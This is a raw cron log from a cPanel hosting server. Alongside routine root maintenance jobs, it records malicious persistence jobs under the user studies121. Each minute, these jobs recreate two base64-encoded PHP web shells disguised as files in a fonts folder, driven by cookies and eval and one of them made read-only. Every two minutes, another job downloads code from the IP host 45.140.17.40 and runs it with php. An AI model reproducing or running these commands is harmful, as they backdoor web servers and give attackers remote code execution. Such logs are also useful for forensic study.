Aug 31 00:35:02 ip-184-168-122-23 CROND[32297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:35:02 ip-184-168-122-23 CROND[32293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:35:02 ip-184-168-122-23 CROND[32295]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 00:35:02 ip-184-168-122-23 CROND[32299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:35:02 ip-184-168-122-23 CROND[32300]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 00:36:01 ip-184-168-122-23 CROND[32391]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:36:01 ip-184-168-122-23 CROND[32395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:36:01 ip-184-168-122-23 CROND[32398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:36:02 ip-184-168-122-23 CROND[32401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:36:02 ip-184-168-122-23 CROND[32402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:37:01 ip-184-168-122-23 CROND[32484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:37:01 ip-184-168-122-23 CROND[32486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:37:01 ip-184-168-122-23 CROND[32487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:37:01 ip-184-168-122-23 CROND[32489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:38:01 ip-184-168-122-23 CROND[32574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:38:01 ip-184-168-122-23 CROND[32575]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:38:01 ip-184-168-122-23 CROND[32576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:38:01 ip-184-168-122-23 CROND[32577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:38:01 ip-184-168-122-23 CROND[32578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:39:01 ip-184-168-122-23 CROND[32658]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:39:01 ip-184-168-122-23 CROND[32659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:39:01 ip-184-168-122-23 CROND[32660]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 00:39:01 ip-184-168-122-23 CROND[32661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:39:01 ip-184-168-122-23 CROND[32663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:40:01 ip-184-168-122-23 CROND[380]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:40:02 ip-184-168-122-23 CROND[382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:40:02 ip-184-168-122-23 CROND[383]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 00:40:02 ip-184-168-122-23 CROND[387]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 00:40:02 ip-184-168-122-23 CROND[386]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 00:40:02 ip-184-168-122-23 CROND[390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:40:02 ip-184-168-122-23 CROND[391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:40:02 ip-184-168-122-23 CROND[392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:41:01 ip-184-168-122-23 CROND[486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:41:01 ip-184-168-122-23 CROND[490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:41:01 ip-184-168-122-23 CROND[491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:41:01 ip-184-168-122-23 CROND[492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:42:01 ip-184-168-122-23 CROND[578]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:42:01 ip-184-168-122-23 CROND[580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:42:01 ip-184-168-122-23 CROND[581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:42:01 ip-184-168-122-23 CROND[585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:42:01 ip-184-168-122-23 CROND[583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:43:01 ip-184-168-122-23 CROND[707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:43:01 ip-184-168-122-23 CROND[708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:43:01 ip-184-168-122-23 CROND[712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:43:01 ip-184-168-122-23 CROND[715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:44:01 ip-184-168-122-23 CROND[834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:44:01 ip-184-168-122-23 CROND[836]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:44:01 ip-184-168-122-23 CROND[838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:44:01 ip-184-168-122-23 CROND[837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:44:01 ip-184-168-122-23 CROND[839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:45:01 ip-184-168-122-23 CROND[983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:45:01 ip-184-168-122-23 CROND[985]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 00:45:01 ip-184-168-122-23 CROND[986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:45:01 ip-184-168-122-23 CROND[987]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 00:45:01 ip-184-168-122-23 CROND[992]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Aug 31 00:45:01 ip-184-168-122-23 CROND[991]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:45:01 ip-184-168-122-23 CROND[990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:46:01 ip-184-168-122-23 CROND[1109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:46:01 ip-184-168-122-23 CROND[1111]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 00:46:01 ip-184-168-122-23 CROND[1114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:46:01 ip-184-168-122-23 CROND[1112]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:46:01 ip-184-168-122-23 CROND[1115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:46:01 ip-184-168-122-23 CROND[1113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:46:01 ip-184-168-122-23 CROND[1116]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
